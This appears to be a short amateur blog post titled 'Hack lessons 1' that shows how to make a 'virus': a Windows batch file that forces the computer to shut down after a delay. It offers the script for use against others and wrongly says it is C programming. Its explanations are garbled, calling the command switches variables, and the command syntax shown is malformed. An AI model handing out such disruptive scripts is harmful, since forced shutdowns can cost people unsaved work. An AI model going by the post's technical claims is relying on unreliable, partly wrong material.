Hack lessons 1 - Make a virus your self

Make a virus your self  
     

Most of people don't know to make a virus themself. they just copy and paste codes and they really don’t knw what that codes mean . Now i m gonna instruct  you about how to make a simple virus ur self using C programming. This is the code for  shut down da windows..
First of all open the notepad then type this   -
@ECHO off
Shutdown -s -f -t- 20    
 And save as a .bat file
@Echo off mean
First of all i wll tell why do we use “ @ echo off” ,normally u know we save this file as a bat file and it runs in command prompt (DOS). Normally when you open Dos screen it shows
C:\Users\Tharindu>  like this .....  when we run a virus it should be off.to off that we type  @echo off

S –f –t-20  mean
Those are varibles....  there “ 20” means time (seconds)...if u want to shut down it in 3 seconds  delete da 20 and type da 3 .
